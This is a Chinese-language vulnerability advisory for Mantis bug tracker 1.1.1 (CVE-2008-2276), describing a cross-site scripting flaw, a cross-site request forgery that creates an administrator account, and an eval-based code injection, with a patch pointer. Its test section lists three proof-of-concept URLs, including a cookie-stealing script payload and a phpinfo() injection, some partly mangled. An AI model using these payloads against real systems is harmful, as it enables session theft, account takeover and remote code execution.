Mantis多个输入验证漏洞

受影响系统：
Mantis mantis 1.1.1
不受影响系统：
Mantis mantis 1.2.0a1
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 29297
CVE(CAN) ID: CVE-2008-2276
Mantis是用PHP脚本语言编写的基于web的漏洞跟踪系统。
Mantis没有正确地验证用户输入，Mantis的return_dynamic_filters.php文件中存在跨站脚本漏 洞，manage_user_create.php文件中存在跨站请求伪造漏洞。此外如果用户通过上述漏洞获得了有效的管理帐号的话，由于在 adm_config_.php文件的的第80行的以下语句：
eval( ′$t_ = ′ . $f_ . ′;′ );
这里$f_是在34行定义的：
$f_ = gpc_get_string( ′′ );
$f_参数没有经过任何验证，因此攻击者可以通过执行phpinfo()函数的恶意URL导致执行任意代码。
<*来源：Francesco Ongaro （ascii@ush.it）
链接：http://marc.info/?l=bugtraq&m=121130774617956&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.example.com/mantis/return_dynamic_filters.php?filter_target=<>alert(document.cookie);</>
foo@attacker.com&access_level=90&protected=0&enabled=1" target="_blank">http://www.example.com/mantis/manage_user_create.php?username=foo&realname=aa&password=aa&password_verify=aa&email=foo@attacker.com&access_level=90&protected=0&enabled=1
http://www.example.com/mantis/adm_config_.php?user_id=0&project_id=0&config_option=cache_config&type=0&=0;phpinfo()
建议：
--------------------------------------------------------------------------------
厂商补丁：
Mantis
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://mantisbt.sourceforge.net/